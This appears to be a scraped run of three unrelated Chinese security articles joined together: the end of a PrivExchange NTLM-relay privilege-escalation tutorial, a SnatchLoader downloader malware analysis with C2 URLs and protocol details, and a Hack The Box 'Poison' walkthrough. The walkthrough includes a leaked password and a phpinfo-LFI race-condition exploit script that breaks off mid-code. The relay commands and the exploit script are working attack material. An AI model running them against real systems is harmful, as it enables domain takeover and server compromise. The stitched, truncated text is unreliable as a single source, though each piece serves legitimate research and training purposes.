前文提到的攻击流程如下图所示，经过若干步骤后我们就能提升权限：
我们需要使用两款工具来发起攻击：`privexchange.py`以及`ntlmrelayx`，这些工具的下载地址请参考对应的GitHub页面（[PrivExchange](https://github.com/dirkjanm/privexchange/)以及[impacket](https://github.com/SecureAuthCorp/impacket/)）。我们以中继（relay）模式运行`ntlmrelayx`，将目标设置为域控上的LDAP，然后提供攻击者控制的、待提升权限的当前用户（这里以`ntu`用户为例）：
ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu
接下来我们运行`privexchange.py`脚本：
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.
如果我们使用的用户没有对应的邮箱，那么就会看到如上错误信息。现在我们换成关联了邮箱的另一个用户试试：
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful
经过1分钟后（我们设置推送通知的间隔时间），我们可以在`ntlmrelayx`中看到传入连接，该用户也顺利获得DCSync权限：
我们可以使用`secretsdump`来验证当前账户是否具备`DCSync`权限：
获得所有AD用户的密码哈希后，攻击者可以创建黄金票据（golden
ticket）来仿冒任何用户，或者使用任何用户的密码哈希，向域中接受NTLM或者Kerberos认证协议的任何服务发起请求。
## 0x05 技术细节：中继至LDAP以及签名
前文提到过，我们无法使用SMB来将认证数据中继至LDAP，这也是为什么我们无法像最近公布的[SpoolService
RPC滥用技术](https://github.com/leechristensen/SpoolSample/)那样来使用这种攻击技术（因为SpoolService
RPC使用的是基于SMB的认证过程）。由于人们经常提到关于这方面的问题，也存在不少困惑，这里我们来仔细研究一下技术细节。如果大家不想深入了解NTLM认证过程，可以直接跳过这一部分。
基于SMB以及HTTP的NTLM认证过程的区别在于协商（negotiate）时默认使用的标志。这里存在问题的是`NTLMSSP_NEGOTIATE_SIGN`标志（`0x00000010`，参考[MS-NLMP section 2.2.2.5](https://msdn.microsoft.com/en-us/library/cc236650.aspx)中的介绍）。基于HTTP的NTLM认证过程默认情况下并没有设置该标志，但如果使用SMB，则该标志默认情况下处于设置状态：
当我们将该数据包中继至LDAP时，会成功完成身份认证过程，但LDAP希望所有消息都经过某个会话秘钥签名（该会话秘钥的值来源于对应的密码，在中继攻击中我们无法获取该密码），因此会忽略不带有签名的任何消息，使我们的攻击过程失败。大家可能好奇，我们能否在传输过程中修改这些标志，使整个过程不涉及签名协商操作。不幸的是，这对现在的Windows版本而言无法完成，因为系统默认情况下会包含一个MIC（Message
Integrity Code，消息完整性代码），而MIC是基于所有3个NTLM消息所计算出的一个签名值，因此修改任何一个消息都会破坏消息有效性。
那么我们是否可以移除MIC？答案是肯定的，这是因为该字段并不是NTLM消息中的保护字段。然而NTLM身份认证（仅限于NTLMv2）中存在最后一种保护机制可以避免出现这种情况：在NTLMv2响应数据中（响应数据同样使用受害者的密码进行签名），包含一个`AV_PAIR`结构：`MsvAvFlags`。当这个字段的值为`0x0002`时，则表示客户端已发送的`type
3`消息中包含MIC字段。
修改NTLMv2响应数据会导致认证过程无效，因此我们无法删除这个标志字段。该标志字段表示认证过程中已经计算并包含了MIC值，因此目标服务器会验证MIC值，确保所有3条消息在传输过程中都没有被修改过，因此我们无法删除签名标志。
（我认为）这种情况只适用于Microsoft版的NTLM认证过程。如果某些自定义应用实现了NTLM认证过程，可能不会实现这么多细节，没有考虑到MIC以及`AV_PAIR`标志，因此攻击者有可能修改相应标志，使基于SMB的LDAP中继攻击成为可能的攻击场景。比如，对于NTLM认证过程的[Java版实现](https://conference.hitb.org/hitbsecconf2018dxb/materials/D2T2%20-%20NTLM%20Relay%20Is%20Dead%20Long%20Live%20NTLM%20Relay%20-%20Jianing%20Wang%20and%20Junyu%20Zhou.pdf)来说，攻击者就可以在传输过程中修改数据，绕过安全措施。
## 0x06 在不具备任何凭据下发起攻击
在前文中，攻击过程的第一步中我们使用了已窃取的凭据。如果攻击者只能发起网络攻击，但不具备任何凭据，那么还是有可能触发Exchange发起身份认证操作。如果我们能发起SMB到HTTP（或者HTTP到HTTP）中继攻击（比如使用LLMNR/NBNS/mitm6欺骗攻击技术），我们就可以中继同一网络中某个用户的认证数据，将认证数据中继至Exchange
EWS，然后使用这些用户的凭据来触发回调操作（这里要感谢[Mark](https://twitter.com/infosec_kb)提出这个思路）。我稍微修改了`httpattack.py`，现在我们可以在不具备任何凭据的情况下，从网络层面发起攻击（我们只需要修改脚本中硬编码的攻击主机）。
## 0x07 缓解措施
这种攻击技术需要依赖各种组件才能正常工作。在之前的文章中，我已经介绍了可以防御[NTLM中继攻击](https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/)以及[LDAP中继攻击](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)的一些防御机制。
对这种攻击技术而言，最重要的缓解措施如下：
* 移除Exchange无需拥有对域对象的一些高权限（参考下文部分链接）。
* 启用LDAP签名机制以及LDAP[通道绑定](https://support.microsoft.com/en-us/help/4034879/how-to-add-the-ldapenforcechannelbinding-registry-entry)机制，以阻止针对LDAP和LDAPS的中继攻击。
* 阻止Exchange服务器通过任意端口向其他工作站发起连接。
* 在IIS中的Exchange节点上启用[身份认证扩展保护](https://msdn.microsoft.com/en-us/library/dd767318%28v=vs.90%29.aspx)机制（但不要在Exchange后端上应用该机制，这样会破坏Exchange的正常功能）。该机制可以验证NTLM认证过程中的通道绑定参数，而该参数会将NTLM认证与TLS连接绑定在一起，避免攻击者向Exchange Web服务发起中继攻击。
* 删除某些注册表键值，使攻击者无法将数据包中继回Exchange服务器，微软也在[CVE-2018-8518缓解措施](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8581)中提到过这一点。
* 在Exchange服务器上强制启用SMB签名机制（最好也在域中的其他服务器和工作站上启用该机制），防止针对SMB的跨协议中继攻击。
## 0x08 相关工具及受影响的版本
大家可以访问[此处](https://github.com/dirkjanm/PrivExchange)获取PoC工具，我们已经在如下Exchange/Windows环境上测试过这些工具：
* Exchange 2013 (CU21)，Server 2012R2，中继至Server 2016 DC（所有产品均已打全补丁）。
* Exchange 2016 (CU11)，Server 2016，中继至Server 2019 DC（所有产品均已打全补丁）。
这些Exchange服务器在安装时都使用了共享权限模式（默认设置），但这篇[文章](https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md)提到，采用RBAC（基于角色的权限访问控制）分离权限的部署方案同样受这种攻击方法影响（我并没有测试这种场景）。
## 0x09 参考文献
**缓解措施：**
* <https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/Fix-DomainObjectDACL.ps1> (Removing dangerous Exchange permissions with PowerShell)
* <https://www.blackhat.com/docs/webcast/04262018-Webcast-Toxic-Waste-Removal-by-Andy-Robbins.pdf> (Identifying and removing dangerous Exchange permissions, by @_wald0)
* [ACL privilege escalation research](https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf) by @_wald0 and @harmj0y
**NTLM中继/签名机制：**
* [Review of NTLM reflection attack over network](https://github.com/SecureAuthCorp/impacket/issues/451)
* [NTLM SMB->LDAP relaying](https://github.com/SecureAuthCorp/impacket/pull/500)
* [Playing with relayed credentials](https://www.secureauth.com/blog/playing-relayed-credentials) by @agsolino
**其他参考资料：**
* [MS-NLMP](https://msdn.microsoft.com/en-us/library/cc236621.aspx)
* [ZDI post on this issue which discusses this Exchange API](https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange)
* [Remote NTLM Relaying through meterpreter](https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/)
* [My HITB slided on ACL attacks](https://www.slideshare.net/DirkjanMollema/aclpwn-active-directory-acl-exploitation-with-bloodhound) | 社区文章 |
# 【技术分享】SnatchLoader恶意软件更新分析
|
##### 译文声明
本文是翻译文章，文章来源：arbornetworks.com
原文地址：<https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**摘要**
****
SnatchLoader是一种“downloader”类型的恶意软件专门用于将恶意软件分发（或加载）到受感染的计算机系统上。
我们在2017年1月左右发现了该恶意软件的网络攻击活动，该攻击活动一直持续了几个月的时间才慢慢消失。最近，我们的研究人员发现该恶意软件又开始发起新一轮的网络攻击活动了，在此次网络攻击活动中我们捕获到了该恶意软件的更新，并发现该恶意软件正被用于加载Ramnit银行特洛伊木马。此外，该恶意软件还使用了一个称为“地理IP阻止”的有趣功能，以使得只有某些地理区域的计算机才会被感染。到目前为止，我们已经能够确定，至少英国和意大利是该恶意软件攻击的目标，但美国，法国和香港目前还不是。
SnatchLoader命令和控制面板的登录页面
**介绍**
****
几个月前，有一个关于关于垃圾邮件广告的Twitter
，当时是一个未知的“downloader”恶意软件，该恶意软件专门用于将恶意软件分发（或加载）到受感染的计算机系统上。根据我们的分析，该“downloader”恶意软件是“SnatchLoader”恶意软件的更新程序，KernelMode.info论坛在2017年1月期间有对SnatchLoader进行简要讨论的相关帖子的。正如论坛上该帖子所述，尽管没有进行详细的代码比较，但SnatchLoader和H1N1
Loader的恶意软件家族似乎有一些相似之处。除此之外，目前我们还没有看到任何关于SnatchLoader恶意软件的进一步讨论，因此本文我们将对SnatchLoader最新版本更新进行分析。
**样本**
****
Twitter
中引用的示例在[VirusTotal](https://www.virustotal.com/en/file/41e698c7f1febdb53b9b7eae0f48fd93949602d0631d6f6b7dc0768958f7107a/analysis/68958f7107a/analysis/&usg=ALkJrhg06bcQgCG-)上可以找到。
然而，我们的大多数静态分析工作是在更新版本的“核心DLL”上执行的，该更新程序的最新编译日期为2017-10-04，该DLL在2017年10月11日首次被上传到了[VirusTotal](https://www.virustotal.com/en/file/075420f10a1b4fc7302c5e95e578e8397b93019acc0f7f018dc7453a9266e17e/analysis/)上。
**Windows API调用**
****
通过我们的分析发现，该恶意软件对Windows
API的调用都是在运行时通过函数名哈希的方式进行的，散列算法是ROL和XOR运算的组合，在[GitHub](https://github.com/tildedennis/malware/blob/master/snatch_loader/api_hash.py)上可以找到该散列算法的一个Python代码实现。以下是一些API函数名称及其对应的哈希表：
**RtlZeroMemory** – > 0x6b6c652b
**CreateMutexW** – > 0x43725043
**InternetConnectA** – > 0x1d0c0b3e
**静态配置**
****
一个静态配置被加密存储在DLL的PE Section中，目前我们已经看到该Section的两个名称：.idata和.xdata .，具体如下图所示：
Section的第一个DWORD（上图中的0x99a8）用作密钥生成函数的种子，此功能的Python实现在GitHub上可以找到
，使用RC4算法和生成的密钥可以解密剩余的数据。解密的配置可以分成两个块：第一个块是XML结构的配置数据，具体如下图所示（为了可读性添加了空格）：
SRV是命令和控制（C2）服务器的URL，TIME是回连的轮询间隔（单位时间为分钟），NAME是一个活动标识符（02.10可能意味着10月2日），KEY用于加密回连通信。
第二个配置块是一个RSA证书，用于对下载的数据的执行签名检查。
**命令与控制**
****
到目前为止，我们观察到的所有C2 URL都是HTTPS的。
但是通过使用调试器，我们可以使用HTTP与服务器进行通信，并以明文方式查看回连的通信网络流量，具体如下图所示：
恶意软件对POST数据进行了四次加密操作：
1.RC4加密，KEY来源于配置文件
2.Base64编码
3.字符替换
4.使用“ r n”分隔符把数据拆分成64字节的数据块
有三个字符被替换了，并且它们都是可逆的：
\+ 到 –
/ 至 _
. 到 =
响应数据好像也被加密处理了，但并没有经过4次加密处理。
通信分为四种请求类型：
1.获取动态配置
2.发送系统信息
3.命令轮询
4.发送命令结果
**获取动态配置请求**
****
以下是“获取动态配置”请求的纯文本请求数据：
req=0&guid=FCD08AEE3C0E9409&name=02.10&trash=ulbncmamlxwjakbnbmaklvvhamathrgsfrpbsfrfqeqpatisgsfrqbtfrgqfrpbuithtisrctisgsfrqbujtiuistduith
各个请求字段的含义分别是：
**req：请求类型**
**guid：bot ID**
**name：来自静态配置的NAME**
**trash： 随机长度的随机字符**
响应如下所示：
SUCCESS|<CFG><SRV>https://lookmans[.]eu/css/order.php|https://vertasikupper[.]eu/css/order.php</SRV><TIME>120</TIME><NAME>02.10</NAME><KEY>547bnw47drtsb78d3</KEY></CFG>|
该响应可以分为两个字段：状态字段和数据部分。这里的状态字段是“SUCCESS”，数据部分被封装在“<CFG>块”中，这个配置在代码中称为DYNAMIC配置。
**发送系统信息请求**
****
第二个回连请求发送一堆系统信息，如下所示：
req=1&guid=FCD08AEE3C0E9409&name=02.10&win=9&x64=1&adm=1&det=0&def=0&nat=1&usrn=SYSTEM&cmpn=JOHN-PC&uagn=Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)&sftl=AddressBook|Connection Manager|DirectDrawEx|Fontcore|IE40|IE4Data|IE5BAKEX|IEData|MobileOptionPack|SchedulingAgent|WIC|&prcl=[System Process]rnSystemrnsmss.exerncsrss.exernwininit.exerncsrss.exernwinlogon.exernservices.exernlsass.exernlsm.exernsvchost.exernVBoxService.exernsvchost.exernsvchost.exernsvchost.exernsvchost.exernaudiodg.exernsvchost.exernsvchost.exernspoolsv.exernsvchost.exerntaskhost.exernsvchost.exerndwm.exernexplorer.exernVBoxTray.exernSearchIndexer.exernwmpnetwk.exernsvchost.exernsppsvc.exernsvchost.exernmscorsvw.exernmscorsvw.exernSearchProtocolHost.exernmsiexec.exernsvchost.exernTrustedInstaller.exerntaskhost.exernSearchFilterHost.exernmsiexec.exerndllhost.exerndllhost.exernmsiexec.exernsvchost.exern&trash=ilnyyiittddnoyyiblambllvwgblalakjvufynamblcmambllwugxlwkwjvurn
各个请求字段的含义分别是：
req – 请求类型
guid – bot ID
name – 来自配置的NAME
win – Windows版本
x64 – 是64位架构
adm – 是管理员
det – 与反分析相关
def – 检测反分析过程名称
nat – 具有RFC1918 IP地址
usrn – 用户名
cmpn – 电脑名称
uagn – 用户代理
sftl – 从注册表中的Uninstall 键值中列举软件
prcl – 进程列表
垃圾 – 随机长度的随机字符
**响应如下所示：**
SUCCESS|
**命令轮询请求**
除了请求号是2之外，命令轮询请求看起来类似于“获取动态配置”请求，一个示例响应如下所示：
SUCCESS | <TASK> 20 | 1 | 2 || MZ … X00 X00 </ TASK> |
该响应具有两个字段，第一个字段是状态字段，第二个字段是数据部分。这里的数据可以是零个或多个以下字段的TASK块：
**任务ID**
命令类型
命令arg1（例如文件类型）
命令arg2（例如哈希值）
命令数据（例如可执行文件或URL）
SnatchLoader的主要功能是下载并加载其他恶意软件系列，因此大多数命令类型和参数都支持以各种方式执行。在这个例子中，命令是首先提取嵌入的可执行文件然后执行提取到的可执行文件。其他一些支持的命令是：
插件功能
更新配置
更新程序
发送命令结果
最后一个回连类型用于发送命令的结果：
req=3&guid=FCD08AEE3C0E9409&name=02.10&results=&trash=pffebxmawlawigdawkifcymbxmawlgebxlawkifcymbxmhebymbxlawkifcy
除了请求号是3之外，该请求类似于“命令轮询”的请求，并且添加了一个附加参数（results）。 对于此请求，C2没有任何的响应内容。
**地理阻止和当前有效载荷**
****
到目前为止，我们发现了该C2服务器的一个有趣的特征，它们似乎正在基于源IP地址执行某种地理阻塞操作。当我们尝试通过美国，法国或香港的TOR或VPN节点与C2服务器进行互动时，服务器会响应“404
Not
found”错误。但是，如果我们尝试使用英国和意大利的VPN节点，C2服务器则会对请求进行回应。一般来说，地理阻挡不是一个新的特征，但并不是特别常见的。
在撰写本文时，SnatchLoader僵尸网络正在分发Ramnit恶意软件（一个银行恶意软件），该银行恶意软件的编译日期为2017年10月13日，该样本可在[VirusTotal上](https://www.virustotal.com/en/file/789c129a7d5815d81e324a065a8a50091b25f6e9d9f24d4a34cd2f0e2abdaa8d/analysis/)获得
。
**结论**
****
在这篇文章里，我们对SnatchLoader下载器恶意软件进行了研究和分析，该恶意软件最早我们可以追溯到2017年1月，并且在上周我们发现了该恶意软件的更新。目前，该恶意软件正在通过垃圾邮件广告进行传播，并根据地理位置封锁功能对某些特定的地理区域发起网络攻击。在撰写本文时，SnatchLoader正在将Ramnit恶意软件在英国和意大利这两个国家内进行传播。 | 社区文章 |
### 扫描端口
开放了80、20端口
nmap -sV -sC -sT -v 10.10.10.84
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
### 文件包含
打开80看到有几个php文件，我们输入提交以后就可以包含这些文件了。
发现base64加密字符串
<http://10.10.10.84/browse.php?file=pwdbackup.txt>
This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=
最后解密得到Charix!2#4%6&8(0
可以跨越目录访问到etc/passwd文件
<http://10.10.10.84/browse.php?file=../../../../../../etc/passwd>
# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
_tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin
messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
charix:*:1001:1001:charix:/home/charix:/bin/csh
### 登陆ssh
ssh [email protected]/Charix!2#4%6&8(0
在目录下直接查看user.txt拿到第一个flag
charix@Poison:~ % ls
secret.zip user.txt
把secret.zip下载到本地，发现需要密码解密，我们使用base64解出来的密码，成功解密出文件secret。
$ scp -P 22 [email protected]:secret.zip /home/Rogerd/
$ unzip secret.zip
Archive: secret.zip
[secret.zip] secret password:
extracting: secret
查看端口信息发现，本地监听了5801和5809，这两个应该是VNC
查看root进程信息发现Xvnc
charix@Poison:~ % netstat -an
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 44 10.10.10.84.22 10.10.14.4.46676 ESTABLISHED
tcp4 0 0 127.0.0.1.25 *.* LISTEN
tcp4 0 0 *.80 *.* LISTEN
tcp6 0 0 *.80 *.* LISTEN
tcp4 0 0 *.22 *.* LISTEN
tcp6 0 0 *.22 *.* LISTEN
tcp4 0 0 127.0.0.1.5801 *.* LISTEN
tcp4 0 0 127.0.0.1.5901 *.* LISTEN
udp4 0 0 *.514 *.*
udp6 0 0 *.514 *.*
charix@Poison:~ % ps -U root
PID TT STAT TIME COMMAND
0 - DLs 0:00.07 [kernel]
1 - ILs 0:00.04 /sbin/init -- 2 - DL 0:00.00 [crypto]
3 - DL 0:00.00 [crypto returns]
4 - DL 0:00.73 [cam]
5 - DL 0:00.00 [mpt_recovery0]
6 - DL 0:00.00 [sctp_iterator]
7 - DL 0:14.16 [rand_harvestq]
319 - Ss 0:02.01 /sbin/devd
390 - Ss 0:00.67 /usr/sbin/syslogd -s
543 - S 0:21.93 /usr/local/bin/vmtoolsd -c /usr/local/share/vmware-tools/tools.conf -p /usr
620 - Is 0:00.01 /usr/sbin/sshd
625 - Rs 0:00.92 /usr/local/sbin/httpd -DNOHTTPACCEPT
642 - Ss 0:00.55 sendmail: accepting connections (sendmail)
649 - Ss 0:00.11 /usr/sbin/cron -s
2133 - Is 0:00.02 sshd: charix [priv] (sshd)
2141 - S 0:00.00 sendmail: ./x4D68p98001750 from queue (sendmail)
529 v0- I 0:00.03 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xa
540 v0- I 0:00.02 xterm -geometry 80x24+10+10 -ls -title X Desktop
### vnc渗透
VNC是一个GUI程序。由于只有SSH访问机器，因此无法从远程shell启动VNC会话;
没有用于生成VNC会话的弹出窗口。我们也无法远程连接到VNC会话，只能通过转发到本地再使用vncviewer链接。
使用ssh转发VNC端口
ssh -L 5901:127.0.0.1:5901 [email protected]
最后使用vncviewer访问VNC拿到flag
vncviewer -passwd secret 127.0.0.1:5901
### 扩展：LFI getshell
#### phpinfo lfi getshell
当存在一个文件包含的时候，同时有phpinfo页面。
可以利用phpinfo页面，找到上传的tmp文件，进行条件竞争，生成想要获得shell
构造一个post请求到phpinfo.php
POST /phpinfo.php HTTP/1.1
Host: 10.10.10.84
User-Agent: Hello
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=--ShellHere
Content-Length: 147
----ShellHere
Content-Disposition: form-data; name="anything"; filename="Shell"
Content-Type: text/plain
Get the shell here
----ShellHere
在上传文件的时候，php都会将这个文件保存成一个临时文件，默认为tmp/php{6}，因为phpinfo可以找到上传的临时文件名。我们利用条件竞争，在php销毁前利用lfi包含临时文件
当我们获取到临时文件名时，就立即发送文件包含请求
当整个phpinfo被垃圾信息充斥时，就有足够的时间给我们进行文件包含，从而生成shell。
phpinfolfi.py脚本：
#!/usr/bin/python
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php
?>
\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /browse.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
